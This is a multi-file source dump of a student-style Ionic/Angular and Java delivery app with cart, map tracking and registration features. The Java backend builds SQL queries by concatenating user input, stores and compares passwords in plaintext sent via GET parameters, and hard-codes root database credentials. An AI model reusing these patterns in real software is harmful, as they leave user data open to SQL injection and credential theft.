this.latlng = latlng;
}
}
<file_sep>/insetlp-provider/src/pages/after-request/after-request.ts
import { Component,ViewChild, ElementRef } from '@angular/core';
import { IonicPage, NavController, NavParams } from 'ionic-angular';
import { HTTP } from '@ionic-native/http';
import { HttpClient} from '@angular/common/http';
import { DisplayInfoProvider } from '../../providers/display-info/display-info';
import { Observable } from 'rxjs/Observable';
import { Geolocation } from '@ionic-native/geolocation';
import 'rxjs/add/operator/map';
/**
* Generated class for the AfterRequestPage page.
*
* See https://ionicframework.com/docs/components/#navigation for more info on
* Ionic pages and navigation.
*/
declare var google;
@IonicPage()
@Component({
selector: 'page-after-request',
templateUrl: 'after-request.html',
})
export class AfterRequestPage {
flag;
@ViewChild('map') mapElement: ElementRef;
placeName;
placeLat;
placeLong;
placeLocation;
menu = [];
productName;
productPrice;
map: any;
data : Observable<any>;
output: JSON;
result: any;
i=0;
j=0;
constructor(public navCtrl: NavController,public geolocation: Geolocation,private g : DisplayInfoProvider,
public navParams: NavParams,private http: HttpClient,private httpMobile: HTTP) {
// this.flag = this.navParams.get('flag');
//console.log(this.flag);
}
ionViewDidLoad() {
this.loadMap();
//this.addMarker();
}
loadMap(){
this.geolocation.getCurrentPosition().then((position)=>{
let latLng = new google.maps.LatLng(position.coords.latitude,
position.coords.longitude);
let mapOptions = {
center: latLng,
zoom: 15,
mapTypeId: google.maps.MapTypeId.ROADMAP
}
this.map = new google.maps.Map(this.mapElement.nativeElement,
mapOptions);
//this.addMarker();
}, (err) => {
console.log(err);
});
}
async AcceptRequestCart()
{
// if(this.flag == 1)
// {
console.log("inside Function");
//-----------------------------For Mobile----------------------------------------------
var url = "http://192.168.0.109:8098/Instant_Help/rest/hello/sendCoordinatesToDriver";
await this.httpMobile.get(url,{}, {}
).then(data1 => {
this.result = JSON.parse(data1.data);
console.log(this.result);
console.log(this.result[0].flag);
this.i=0;
this.j=0;
console.log("Inside if");
for(this.i=0;this.i<this.result.length;this.i++)
{
console.log("****************")
this.placeLocation = this.result[this.i].placeLocation;
this.placeLat = this.result[this.i].placeLat;
this.placeLong = this.result[this.i].placeLong;
this.placeName = this.result[this.i].placeName;
console.log("****************")
for(this.j=0;this.j<this.result[this.i].menu.length;this.j++){
this.menu[this.j] = this.result[this.i].menu[this.j].productName;
console.log(this.result[this.i].menu[this.j].productName);
}
}
this.g.cart.push(this.result);
console.log(this.g.cart);
})
.catch(error => {
console.log(error);
console.log(error.status);
console.log(error.error); // error message as string
console.log(error.headers);
});
// }
// else if(this.flag == 0)
// {
// }
// else{
// console.log("Haven.t received any request yet");
// }
}
}
<file_sep>/instapp-consumer/src/pages/contact/contact.ts
import { Component } from '@angular/core';
import { IonicPage, NavController, NavParams, Menu, LoadingController } from 'ionic-angular';
import * as firebase from 'firebase';
import { snapshotToArray } from './../../app/environment';
import { DisplayDetailedDataPage } from '../display-detailed-data/display-detailed-data';
import { compareDates } from 'ionic-angular/umd/util/datetime-util';
import { Events } from 'ionic-angular';
@Component({
selector: 'page-contact',
templateUrl: 'contact.html'
})
export class ContactPage {
category:string;
items = [];
menu = [];
ref;
rating: number = 4.2;
val1 : string;
val2 : string;
constructor(public navCtrl: NavController,public loadctrl:LoadingController,public navParams: NavParams,public events: Events,
) {
}
ionViewDidLoad(){
let ctrl = this.loadctrl.create({
content : "Loading.."
});
ctrl.present();
this.category = this.navParams.get('category');
this.ref = firebase.database().ref(this.category+'/');
// this.ref = firebase.database().ref(this.category+'/');
console.log(this.category);
this.ref.on('value',resp =>{
this.items = snapshotToArray(resp);
console.log(this.items);
ctrl.dismiss();
}
);
this.events.subscribe('star-rating:changed', (starRating) => {
console.log(starRating);
this.rating = starRating;
});
}
displayMenu(itemName)
{
console.log(itemName.value.name);
this.navCtrl.push(DisplayDetailedDataPage,{
itemName:itemName.value.name,
itemPlace: itemName,
itemCategory : this.category
});
}
}
<file_sep>/instapp-consumer/src/pages/display-detailed-data/display-detailed-data.ts
import { Component } from '@angular/core';
import { IonicPage, NavController, NavParams, Menu } from 'ionic-angular';
import * as firebase from 'firebase';
import { snapshotToArray } from './../../app/environment';
import { GlobalCartProvider } from "../../providers/global-cart/global-cart";
declare var google;
@Component({
selector: 'page-display-detailed-data',
templateUrl: 'display-detailed-data.html',
})
export class DisplayDetailedDataPage {
category;
cat;
items = [];
product = {
placeName:'',
productName:'',
productPrice: 0,
placeLat:'',
placeLong:'',
placeLocation:'',
quantity : 0
};
ref;
place;
//buttonName:any = 'Add +';
flag = false;
quantity =0;
check = 0 ;
checkSamePlaceName = -1;
constructor(public navCtrl: NavController,public navParams: NavParams,private g : GlobalCartProvider) {
this.category = this.navParams.get('itemName');
this.place = this.navParams.get('itemPlace');
this.cat = this.navParams.get('itemCategory');
console.log(this.cat);
this.product.placeName = '';
this.product.productName = '';
this.product.productPrice = 0;
this.product.placeLat = '';
this.product.placeLong = '';
this.product.placeLocation = '';
this.product.quantity = 0;
this.ref = firebase.database().ref(this.cat+'/'+this.category+'/Menu');
// this.ref = firebase.database().ref(this.category+'/');
// console.log(this.category);
this.ref.on('value',resp =>{
this.items = snapshotToArray(resp);
console.log(this.items);
for(var i=0;i<this.items.length;i++)
{
this.items[i].quant =0;
}
}
);
console.log(this.items);
}
incre(num)
{
num.quant = num.quant+1;
}
decre(num)
{
if(num.quant > 0)
{
num.quant = num.quant- 1;
}
}
RemoveFromCart(item)
{
if(this.product.quantity > 1)
{
this.product.quantity = this.product.quantity - 1;
}
else{
var index = this.g.cart.indexOf(item);
this.g.cart.splice(index,1);
//this.buttonName = ' Add + ';
this.flag = false;
this.product.quantity = 0;
}
console.log(this.g.cart);
}
addTocart(item)
{
item.quant = item.quant+1;
// console.log(item);
// for(var i=0;i<this.g.cart.length;i++)
// {
// if(this.g.cart[i].productName == item.key && this.g.cart[i].placeName == this.place.key)
// {
// this.g.cart[i].quantity =this.g.cart[i].quantity+1;
// this.check = 1;
// this.buttonName = ' + ';
// this.flag = true;
// break;
// }
// else{
// this.check = 0;
// }
// }
// if(this.check == 0)
// {
// this.g.cart.push({placeName : this.place.key,productName:item.key,productPrice:item.value,placeLat:this.place.value.lattitude
// ,placeLong:this.place.value.longitude,placeLocation : this.place.value.location,quantity : 1});
// }
// console.log(this.g.cart);
console.log(item);
for(var i=0;i<this.g.cart.length;i++)
{
if(this.g.cart[i].placeName == this.place.key)
{
this.checkSamePlaceName = i;
for(var j=0;j<this.g.cart[i].menu.length;j++)
{
if(this.g.cart[i].menu[j].productName == item.key)
{
this.g.cart[i].menu[j].quantity =this.g.cart[i].menu[j].quantity+1;
this.check = 1;
//this.buttonName = ' + ';
this.flag = true;
break;
}
else
{
this.check = 0;
}
}
}
}
if(this.checkSamePlaceName == -1)
{
// item.quant = item.quant +1;
this.g.cart.push({placeName : this.place.key,
menu:[{productName:item.key,productPrice:item.value,quantity : item.quant}],placeLat:this.place.value.lattitude
,placeLong:this.place.value.longitude,placeLocation : this.place.value.location});
}
else
{
console.log("wait");
if(this.check ==0){
// item.quant = item.quant+1;
this.g.cart[this.checkSamePlaceName].menu.push({productName:item.key,productPrice:item.value,quantity : item.quant});
}
}
console.log(this.g.cart);
}
}
<file_sep>/instapp-consumer/src/pages/about/about.ts
import { Geolocation } from '@ionic-native/geolocation';
import { AddDataFirebasePage } from './../add-data-firebase/add-data-firebase';
import { markDirty } from '@angular/core/src/render3';
import { Component, ViewChild, ElementRef } from '@angular/core';
import { NavController, Platform } from 'ionic-angular';
import * as firebase from 'firebase';
declare var google: any;
@Component({
selector: 'page-about',
templateUrl: 'about.html'
})
export class AboutPage {
@ViewChild('map') mapElement: ElementRef;
map: any;
markers = [];
ref = firebase.database().ref('geolocations/');
latitude;
longitude;
constructor(public navCtrl: NavController,public platform: Platform,private geolocation : Geolocation) {
}
//--------------watch poition------------------------------------
//------------------------------------------------
addData()
{
this.navCtrl.push(AddDataFirebasePage);
}
//-----------Geolocation live tracking----------I methode---------------------
// Geolocation()
// {
// var myMarker = null;
// var watchOptions;
// // get current position
// navigator.geolocation.getCurrentPosition(showPosition);
// // show current position on map
// function showPosition(position) {
// myMarker = new google.maps.Marker({
// position: new google.maps.LatLng(position.coords.latitude, position.coords.longitude),
// map : new google.maps.Map(document.getElementById("map")),
// center: {lat: 18.4915, lng: 73.8217},
// zoom: 10
// //icon: 'C:/Users/Shree/Pictures/marker.png'
// });
// }
// // watch user's position
// navigator.geolocation.watchPosition(watchSuccess, watchError, watchOptions);
// watchOptions = {
// enableHighAccuracy: false,
// timeout: 5000,
// maximumAge: 0
// };
// function watchError(err) {
// console.warn('ERROR(' + err.code + '): ' + err.message);
// }
// // change marker location everytime position is updated
// function watchSuccess(position) {
// var latLng = new google.maps.LatLng(position.coords.latitude, position.coords.longitude);
// // set marker position
// //myMarker.setPosition(latLng);
// }
//-----------------------------------------II method------------------------------------------------------
// var id,target,options,myMarker=null;
// let watch = this.geolocation.watchPosition();
// target = {
// latitude : 18.48726,
// longitude : 73.81486
// };
// options = {
// enableHighAccuracy: false,
// //timeout
// maximumAge: 0
// };
// watch.subscribe((data) => {
// // data can be a set of coordinates, or an error (if an error occurred).
// this.latitude = data.coords.latitude.toPrecision(7);
// this.longitude =data.coords.longitude.toPrecision(7);
// console.log(this.latitude,this.longitude);
// target = {
// latitude : 18.48726,
// longitude : 73.81486
// };
// // if(target.latitude === this.latitude && target.longitude === this.longitude){
// // console.log('Congratulations');
// // navigator.geolocation.clearWatch(id);
// // }
// });
// function success(pos) {
// var crd = pos.coords;
// if(target.latitude === crd.latitude && target.longitude === crd.longitude){
// console.log('Congratulations 123');
// navigator.geolocation.clearWatch(id);
// }
// }
// function error(err) {
// console.warn('ERROR(' + err.code + '): ' + err.message);
// }
// id = navigator.geolocation.watchPosition(success, error, options);
//}
//--------------------------------------------------------------------------------------------
}
<file_sep>/instapp-consumer/src/pages/add-data-firebase/add-data-firebase.ts
import { Component } from '@angular/core';
import { IonicPage, NavController, NavParams } from 'ionic-angular';
import { Observable } from 'rxjs/Observable';
import * as firebase from 'firebase';
import { snapshotToArray } from './../../app/environment';
import { Camera, CameraOptions } from '@ionic-native/camera';
@IonicPage()
@Component({
selector: 'page-add-data-firebase',
templateUrl: 'add-data-firebase.html',
})
export class AddDataFirebasePage {
items = [];
restaurant ={
name:'',
lattitude: '',
longitude: '',
location:'',
rating:'',
}
category: '';
accept_terms ;
data : Observable<any>;
result: any=[];
base64Image:string;
ref;
constructor(public navCtrl: NavController, public navParams: NavParams,private camera: Camera) {
}
openCamera()
{
const options: CameraOptions = {
quality: 100,
destinationType: this.camera.DestinationType.DATA_URL,
encodingType: this.camera.EncodingType.JPEG,
mediaType: this.camera.MediaType.PICTURE
}
this.camera.getPicture(options).then((imageData) => {
// imageData is either a base64 encoded string or a file URI
// If it's base64 (DATA_URL):
this.base64Image = 'data:image/jpeg;base64,' + imageData;
console.log(this.base64Image);
//this.restaurant.photo = this.base64Image;
}, (err) => {
console.log("error");
});
}
openGallary()
{
const options: CameraOptions = {
quality: 100,
destinationType: this.camera.DestinationType.DATA_URL,
encodingType: this.camera.EncodingType.JPEG,
mediaType: this.camera.MediaType.PICTURE,
sourceType: this.camera.PictureSourceType.PHOTOLIBRARY
}
this.camera.getPicture(options).then((imageData) => {
// imageData is either a base64 encoded string or a file URI
// If it's base64 (DATA_URL):
this.base64Image = 'data:image/jpeg;base64,' + imageData;
console.log(this.base64Image);
//this.restaurant.photo = this.base64Image;
}, (err) => {
console.log("error");
});
}
addItem(item)
{
console.log(this.category);
this.ref = firebase.database().ref(this.category+"/");
this.ref.on('value',resp =>{
this.items = snapshotToArray(resp);
});
if(item!= undefined && item!=null)
{
//let newItem = this.ref.push();
this.ref.child(this.restaurant.name).set(item);
//newItem.set(item);
this.category = '';
this.restaurant.name = '';
this.restaurant.lattitude='';
this.restaurant.longitude='';
this.restaurant.location='';
this.restaurant.rating='';
this.base64Image='';
}
}
RegisterForm()
{
}
}
<file_sep>/insetlp-provider/src/app/app.component.ts
import { HomePage } from '../pages/home/home';
import {StartPage} from '../pages/start/start';
import { Component, ViewChild } from '@angular/core';
import { timer } from 'rxjs/observable/timer';
import { Platform, MenuController, Nav } from 'ionic-angular';
//import { ListPage } from '../pages/list/list';
import { StatusBar } from '@ionic-native/status-bar';
import { SplashScreen } from '@ionic-native/splash-screen';
import * as firebase from 'firebase';
import { FIREBASE_CONFIG } from './environment';
@Component({
templateUrl: 'app.html'
})
export class MyApp {
@ViewChild(Nav) nav: Nav;
rootPage:any = StartPage;
showSplash = true;
pages: Array<{title: string, component: any}>;
constructor(
public platform: Platform,
public menu: MenuController,
public statusBar: StatusBar,
public splashScreen: SplashScreen
) {
firebase.initializeApp(FIREBASE_CONFIG);
this.initializeApp();
// set our app's pages
this.pages = [
{ title: 'Hello Ionic', component: HomePage }
//{ title: 'My First List', component: ListPage }
];
//OneSignal Push Notification
// platform.ready().then(() => {
// statusBar.styleDefault();
// splashScreen.hide();
// // OneSignal Code start:
// // Enable to debug issues:
// // window["plugins"].OneSignal.setLogLevel({logLevel: 4, visualLevel: 4});
// var notificationOpenedCallback = function(jsonData) {
// alert('notificationOpenedCallback: ' + JSON.stringify(jsonData));
// };
// window["plugins"].OneSignal
// .startInit("9d5a2d45-b8b5-47d6-acc9-50c2611ce73e", "872807471814")
// .handleNotificationOpened(notificationOpenedCallback)
// .endInit();
// });
//OneSignal Push Notification
}
initializeApp() {
this.platform.ready().then(() => {
// Okay, so the platform is ready and our plugins are available.
// Here you can do any higher level native things you might need.
this.statusBar.styleDefault();
this.splashScreen.hide();
timer(3000).subscribe(()=>this.showSplash = false);
});
}
openPage(page) {
// close the menu when clicking a link from the menu
this.menu.close();
// navigate to the new page if it is not the current page
this.nav.setRoot(page.component);
}
}
<file_sep>/insetlp-provider/src/pages/driver-register/driver-register.ts
//import { GeoLocationPage } from './../geo-location/geo-location';
import { Component } from '@angular/core';
import { IonicPage, NavController, NavParams } from 'ionic-angular';
//import { HelloIonicPage } from './../hello-ionic/hello-ionic';
import { Observable } from 'rxjs/Observable';
import { HttpClient} from '@angular/common/http';
//import { Uploadpage } from './../uploadpage/uploadpage';
import { Camera, CameraOptions } from '@ionic-native/camera';
import { GeoLocationPage } from '../geo-location/geo-location';
import * as firebase from 'firebase';
import { snapshotToArray } from './../../app/environment';
import { UploadPage } from '../upload/upload';
@IonicPage()
@Component({
selector: 'page-driver-register',
templateUrl: 'driver-register.html',
})
export class DriverRegisterPage {
user ={
username:'',
password: '',
emailid: '',
phoneNumber : '',
ConfirmPassword:'',
document:''
}
accept_terms ;
data : Observable<any>;
result: any=[];
base64Image:string;
filename:string;
items = [];
ref = firebase.database().ref('items/');
inputText:string ='';
inputDescription : string ='';
constructor(public navCtrl: NavController, public navParams: NavParams,private http: HttpClient,private camera: Camera) {
this.ref.on('value',resp =>{
this.items = snapshotToArray(resp);
})
}
openCamera()
{
const options: CameraOptions = {
quality: 100,
destinationType: this.camera.DestinationType.DATA_URL,
encodingType: this.camera.EncodingType.JPEG,
mediaType: this.camera.MediaType.PICTURE
}
this.camera.getPicture(options).then((imageData) => {
// imageData is either a base64 encoded string or a file URI
// If it's base64 (DATA_URL):
this.base64Image = 'data:image/jpeg;base64,' + imageData;
console.log(this.base64Image);
}, (err) => {
console.log("error");
});
}
addItem(item)
{
if(item!= undefined && item!=null)
{
let newItem = this.ref.push();
newItem.set(item);
this.user.username = '';
this.user.emailid='';
this.user.password='';
this.user.phoneNumber;
}
this.navCtrl.push(GeoLocationPage);
}
openGallary()
{
const options: CameraOptions = {
quality: 100,
destinationType: this.camera.DestinationType.DATA_URL,
encodingType: this.camera.EncodingType.JPEG,
mediaType: this.camera.MediaType.PICTURE,
sourceType: this.camera.PictureSourceType.PHOTOLIBRARY
}
this.camera.getPicture(options).then((imageData) => {
// imageData is either a base64 encoded string or a file URI
// If it's base64 (DATA_URL):
this.base64Image = 'data:image/jpeg;base64,' + imageData;
console.log(this.base64Image);
//this.restaurant.photo = this.base64Image;
}, (err) => {
console.log("error");
});
}
RegisterForm()
{
console.log(this.user);
// if(this.user.password==this.user.ConfirmPassword)
// {
// console.log(this.user.username);
// var url = "http://1192.168.3.11:8098/Instant_Help/rest/hellodriver/driverregister";
// url = url+"?username="+this.user.username+"&password="+this.user.password+"&emailid="+this.user.emailid;
// this.http.get(url).subscribe(data=>{
// this.result = data;
// console.log(this.result);
// });
// }
// else{
// console.log("error");
// }
//this.navCtrl.push(HelloIonicPage)
// ******* above stmt was not comment before upload page.
// var url = "http://192.168.43.210:8105/Instant/rest/hello";
// // console.log(this.user)
// let postData =(this.user);
// let result = JSON.stringify({'username': this.user.username,'password':<PASSWORD>,'emailid':this.user.emailid});
// //,{headers: new HttpHeaders().set('Content-Type', 'application/json'),}
// this.http.post(url,this.user).subscribe(data =>
// {
// console.log(data);
// this.result = data;
// this.navCtrl.push(HomePage);
// },error=>{
// console.log(error);
// });
}
UploadDoc()
{
this.navCtrl.push(UploadPage);
}
}
<file_sep>/instelp-admin/src/Test/JsonObject.java
package Test;
import java.util.List;
//import com.sun.xml.internal.txw2.annotation.XmlElement;
public class JsonObject {
public String placeName;
public String placeLat;
public String placeLong;
public String placeLocation;
public String flag;
public List<MenuJson> menu;
public String cust_lat;
public String cust_long;
public String getCust_lat() {
return cust_lat;
}
public void setCust_lat(String cust_lat) {
this.cust_lat = cust_lat;
}
public String getCust_long() {
return cust_long;
}
public void setCust_long(String cust_long) {
this.cust_long = cust_long;
}
public String getFlag() {
return flag;
}
public void setFlag(String flag) {
this.flag = flag;
}
public String getPlaceName() {
return placeName;
}
public List<MenuJson> getMenu() {
return menu;
}
public void setMenu(List<MenuJson> menu) {
this.menu = menu;
}
public void setPlaceName(String placeName) {
this.placeName = placeName;
}
public String getPlaceLat() {
return placeLat;
}
public void setPlaceLat(String placeLat) {
this.placeLat = placeLat;
}
public String getPlaceLong() {
return placeLong;
}
public void setPlaceLong(String placeLong) {
this.placeLong = placeLong;
}
public String getPlaceLocation() {
return placeLocation;
}
public void setPlaceLocation(String placeLocation) {
this.placeLocation = placeLocation;
}
}
<file_sep>/instapp-consumer/src/pages/cart-details/cart-details.ts
import { LiveTrackPage } from './../live-track/live-track';
import { TabsPage } from './../tabs/tabs';
import { Component } from '@angular/core';
import { NavController, NavParams, Menu } from 'ionic-angular';
import { GlobalCartProvider } from "../../providers/global-cart/global-cart";
import { HttpClient} from '@angular/common/http';
import { Observable } from 'rxjs/Observable';
import { Geolocation } from '@ionic-native/geolocation';
import 'rxjs/add/operator/map';
@Component({
selector: 'page-cart-details',
templateUrl: 'cart-details.html',
})
export class CartDetailsPage {
sum =0;
finalTotal = 0;
origin1 = {lat:0.0,lng:0.0} ;
result : any;
output1:JSON;
data : Observable<any>;
obj: any = {"cart":
this.global.cart
// [
// {"placeName": "value1", "productName": "value2"},
// {"placeName": "value4", "productName": "value5"},
// {"placeName": "value7", "productName": "value8"}
// ]
};
constructor(public navCtrl: NavController, public navParams: NavParams,public global : GlobalCartProvider,
private http: HttpClient,private geolocation : Geolocation) {
this.output1 = this.navParams.get('output1');
console.log(this.output1);
// this.geolocation.getCurrentPosition().then((resp) => {
// this.origin1 = {lat: resp.coords.latitude,lng:resp.coords.longitude};
// }).catch((error) => {
// console.log('Error getting location', error);
// });
}
ionViewDidLoad() {
//this.t.tabBadge = this.global.cart.length;
for(var i=0;i<this.global.cart.length;i++)
{
for(var j=0;j<this.global.cart[i].menu.length;j++)
{
this.sum = this.sum + (this.global.cart[i].menu[j].productPrice * this.global.cart[i].menu[j].quantity) ;
}
}
console.log(this.sum);
this.finalTotal = this.sum + 40;
}
LiveTrack()
{
this.navCtrl.push(LiveTrackPage);
}
incr(item,menu)
{
console.log(item);
console.log(menu);
for(var i=0;i<this.global.cart.length;i++)
{
if(this.global.cart[i].placeName == item.placeName)
{
for(var j=0;j<this.global.cart[i].menu.length;j++)
{
if(this.global.cart[i].menu[j].productName == menu.productName)
{
this.sum = this.sum - (this.global.cart[i].menu[j].quantity * this.global.cart[i].menu[j].productPrice);
this.global.cart[i].menu[j].quantity =this.global.cart[i].menu[j].quantity+1;
this.sum = this.sum + (this.global.cart[i].menu[j].quantity * this.global.cart[i].menu[j].productPrice);
this.finalTotal = this.sum + 40;
}
}
}
}
}
decrement(item,menu)
{
console.log(item);
console.log(menu);
for(var i=0;i<this.global.cart.length;i++)
{
if(this.global.cart[i].placeName == item.placeName)
{
for(var j=0;j<this.global.cart[i].menu.length;j++)
{
if(this.global.cart[i].menu[j].productName == menu.productName)
{
if(menu.quantity>1)
{
this.sum = this.sum - (this.global.cart[i].menu[j].quantity * this.global.cart[i].menu[j].productPrice);
this.global.cart[i].menu[j].quantity =this.global.cart[i].menu[j].quantity-1;
this.sum = this.sum + (this.global.cart[i].menu[j].quantity * this.global.cart[i].menu[j].productPrice);
this.finalTotal = this.sum + 40;
}
else{
this.global.cart[i].menu.splice(j,1);
}
}
}
}
}
}
}
<file_sep>/instelp-admin/.metadata/version.ini
#Wed Apr 17 09:30:13 IST 2019
org.eclipse.core.runtime=2
org.eclipse.platform=4.10.0.v20181206-0815
<file_sep>/instelp-admin/src/Test/Register.java
// Api Testing - done at message layer
package Test;
import java.sql.*;
import java.util.List;
import java.io.IOException;
import java.util.ArrayList;
import java.util.HashMap;
import javax.ws.rs.Consumes;
import javax.ws.rs.GET;
import javax.ws.rs.POST;
import javax.ws.rs.Path;
import javax.ws.rs.Produces;
import javax.ws.rs.QueryParam;
import javax.ws.rs.core.MediaType;
import org.bson.Document;
import com.mongodb.MongoClient;
import com.mongodb.client.MongoCollection;
import com.mongodb.client.MongoDatabase;
@Path("/hello")
public class Register {
//static JsonObject jsonObject;
List<Object[]> list;
static String latitude;
static String longitude;
static JsonObjects cart1;
static Boolean cartflag = false;
static Boolean forgotflag = false;
static DriverRegister dr = new DriverRegister();
// for sending complete data to driver
static SendDetailsToDriverList sd = new SendDetailsToDriverList();
static sendDetailsToDriver send = new sendDetailsToDriver();
static MongoClient mongoclient;
static Forgottens pro;
static Optimized_path opt = new Optimized_path();
public static String DATABASE = "Delivery";
public static String DATABASEURL = "jdbc:mysql://localhost:3306/Delivery";
public static String DRIVER = "com.mysql.jdbc.Driver";
public static String PASSWORD = "<PASSWORD>";
static Connection conn = null;
static PreparedStatement pstmt = null;
static Statement stmt=null;
static String tablename=null;
static ResultSet rs=null;
static HashMap<String,String> map = new HashMap<>();
static getSetRegister g = new getSetRegister();
// ====================================================== FOR BOTH (REGISTER) ==================================================
@Path("/register")
@GET
@Produces(MediaType.APPLICATION_JSON)
public static void sayHello(@QueryParam("username") String username,@QueryParam("password") String password,@QueryParam("emailid") String email)
{
System.out.println("received is: "+ username);
g.setEmail(email);
g.setName(username);
g.setPassword(<PASSWORD>);
System.out.println(g.getEmail()+" "+g.getName());
map.put("username", username);
map.put("password", password);
map.put("emailid", email);
insertData(username,email,83765,password);
}
// -----------------------------------------------------------------------------------------------------------------------------
public static String insertData(String username,String email,int phone,String password)
{
System.out.println("Inside insert");
try
{
System.out.println("before driver");
//Class.forName(DRIVER);
Class.forName("com.mysql.jdbc.Driver");
System.out.println("Driver");
conn = DriverManager.getConnection(DATABASEURL,"root","root");
System.out.println("Connected");
stmt = conn.createStatement();
String sql = "INSERT INTO registration " +
"VALUES ('"+username+"', '"+email+"',"+ phone+",'"+password+"')";
stmt.executeUpdate(sql);
System.out.println("Doneeee");
return "Registered";
}
catch(Exception e)
{
//e.printStackTrace();
return "Fail";
}
}
// -----------------------------------------------------------------------------------------------------------------------------
// ========================================= LOGIN (FOR BOTH) =====================================================================
@Path("/login")
@GET
@Produces(MediaType.APPLICATION_JSON)
public static int login(@QueryParam("username") String username,@QueryParam("password") String password, @QueryParam("Latitude") String Latitude,@QueryParam("Longitude") String Longitude)
{
String pass="";
latitude = Latitude;
longitude = Longitude;
System.out.println("inside login lat: "+latitude+" "+longitude);
conn=Javaconnect.ConnecrDB();
System.out.println("Connected");
String sqlLogin="Select password from registration where Name=?";
try
{
pstmt = conn.prepareStatement(sqlLogin);
pstmt.setString(1, username);
rs = pstmt.executeQuery();
//System.out.println("meghana");
while(rs.next())
{
pass = rs.getString("Password");
System.out.println(pass);
if(pass.equals(password))
{
return 1;
}
}
}
catch(Exception e)
{
//e.printStackTrace();
return 0;
}
return 99;
}
// ----------------------------------------------------------------------------------------------------------------------------
// =================================================== FOR BOTH (ACCEPTING CART) ===============================================================
@Path("/finalCart")
@POST
@Produces(MediaType.APPLICATION_JSON)
@Consumes(MediaType.APPLICATION_JSON)
public static List<JsonObject> cart(JsonObjects cart) throws Exception{
cart1=cart;
cartflag = true;
System.out.println("cartflag is set true");
System.out.println("cart flag set: "+cartflag);
for(int i=0;i<cart.getCart().size();i++)
{
System.out.println(cart.getCart().get(i).placeName);
System.out.println(cart.getCart().get(i).placeLat);
System.out.println(cart.getCart().get(i).placeLong);
System.out.println(cart.getCart().get(i).placeLocation);
for(int j=0;j<cart.getCart().get(i).menu.size();j++)
{
System.out.println(cart.getCart().get(i).menu.size());
System.out.println(cart.getCart().get(i).menu.get(j).productName);
System.out.println(cart.getCart().get(i).menu.get(j).productPrice);
System.out.println(cart.getCart().get(i).menu.get(j).quantity);
}
}
// SENDING CART TO MONGO DB (java mongo connectivity)..
MongoClient mongoclient = new MongoClient("localhost",27017);
System.out.println("Connected Successfully");
//DB db = mongoclient.getDB("delivery");
MongoDatabase database = mongoclient.getDatabase("instelp");
//
// // Creating a collection
System.out.println("Collection created successfully");
// // Retrieving a collection
MongoCollection<Document> collection = database.getCollection("cart");
System.out.println("Collection myCollection selected successfully"+database.getName());
Document doc = new Document();
//doc= new BasicDBObject();
for(int i=0;i<cart.getCart().size();i++)
{
Document docu = new Document();
docu.append("placeName", cart.getCart().get(i).placeName);
docu.append("placeLat",cart.getCart().get(i).placeLat);
docu.append("placeLong",cart.getCart().get(i).placeLong);
docu.append("placeLocation",cart.getCart().get(i).placeLocation);
for(int j=1;j<=cart.getCart().get(i).menu.size();j++)
{
Document doc1 = new Document();
doc1.append("productName",cart.getCart().get(i).menu.get(j-1).productName);
doc1.append("productPrice",cart.getCart().get(i).menu.get(j-1).productPrice);
doc1.append("quantity",cart.getCart().get(i).menu.get(j-1).quantity);
docu.append("PRODUCT "+j, doc1);
}
doc.append("FROM "+cart.getCart().get(i).placeName, docu);
}
collection.insertOne(doc);
return cart.getCart();
}
// -------------------------------------------------------------------------------------------------------------------------------
// ============================================== FOR BOTH (ACCEPT FORGOTTEN DETAILS) ==================================================
@Path("/forgotten")
@POST
@Produces(MediaType.APPLICATION_JSON)
@Consumes(MediaType.APPLICATION_JSON)
public static List<Forgotten> forgotten1(Forgottens product) throws IOException{
System.out.println("inside forgotten");
forgotflag = true;
System.out.println("forgotflag is set true");
System.out.println(product.getProduct().get(0).typeOfProduct);
System.out.println(product.getProduct().get(0).sizeOfProduct);
System.out.println(product.getProduct().get(0).weightOfProduct);
System.out.println(product.getProduct().get(0).srcAddr);
System.out.println(product.getProduct().get(0).destAddr);
System.out.println(product.getProduct().get(0).destLat);
System.out.println(product.getProduct().get(0).destLong);
//return ;
pro = product;
// for driver
sendDetailsToDriver temp = new sendDetailsToDriver();
List<sendDetailsToDriver> toDriver = new ArrayList();
temp.sizeOfProduct = pro.getProduct().get(0).sizeOfProduct;
temp.weightOfProduct = pro.getProduct().get(0).weightOfProduct;
temp.typeOfProduct = pro.getProduct().get(0).typeOfProduct;
temp.srcAddr = pro.getProduct().get(0).srcAddr;
temp.srcLat = pro.getProduct().get(0).srcLat;
temp.srcLong = pro.getProduct().get(0).srcLong;
temp.destAddr = pro.getProduct().get(0).destAddr;
temp.destLat = pro.getProduct().get(0).destLat;
temp.destLong = pro.getProduct().get(0).destLong;
toDriver.add(temp);
sd.setDetails(toDriver);
return product.getProduct();
}
// -----------------------------------------------------------------------------------------------------------------------------------
// =================================================================================================== USED WHERE ???????
@Path("/sendCart")
@POST
@Produces(MediaType.APPLICATION_JSON)
public static List<JsonObject> sendcart() throws IOException{
System.out.println("inside cart ");
return cart1.getCart();
}
// ========================================================== FOR MOBILE ===============================================================
@Path("/mobile/sendCoordinatesToDriver")
@GET
@Produces(MediaType.APPLICATION_JSON)
public static List<JsonObject> sendCoordinatesToDriverMobile() throws IOException{
System.out.println("****");
JsonObjects cart2 = new JsonObjects();
System.out.println("inside sendCoordinatesToDriver......");
//+nouse.getCart().get(1).placeName);
List<JsonObject> Lst = new ArrayList();
System.out.println("fake lst"+Lst.size());
String path[] = opt.sendAdjtoReg();
for(int i=0;i<path.length - 1 ;i++)
{
System.out.println(" is it here "+path[i]);
}
System.out.println("======================");
System.out.println(cart1.getCart().size());
System.out.println("----"+cart1.getCart().get(0).placeName);
System.out.println(cart1.getCart().get(0).placeName);
System.out.println(cart1.getCart().get(0).placeName);
for(int i=0;i<path.length - 1;i++)
{
System.out.println("inside for loop");
int x = Integer.parseInt(path[i]);
System.out.println("x: "+x);
JsonObject obj = new JsonObject();
obj.menu = new ArrayList<MenuJson>();
System.out.println(" obj.placename "+cart1.getCart().get(x).placeName);
obj.placeName = cart1.getCart().get(x).placeName;
System.out.println("2 "+obj.placeName);
obj.placeLat = cart1.getCart().get(x).placeLat;
obj.placeLong = cart1.getCart().get(x).placeLong;
obj.placeLocation = cart1.getCart().get(x).placeLocation;
obj.cust_lat = latitude;
obj.cust_long = longitude;
obj.flag = "cart";
for(int j=0;j<cart1.getCart().get(x).menu.size();j++)
{
MenuJson mj = new MenuJson();
mj.productName = cart1.getCart().get(x).menu.get(j).productName;
mj.quantity = cart1.getCart().get(x).menu.get(j).quantity;
mj.productPrice = cart1.getCart().get(x).menu.get(j).productPrice;
obj.menu.add(mj);
}
Lst.add(obj);
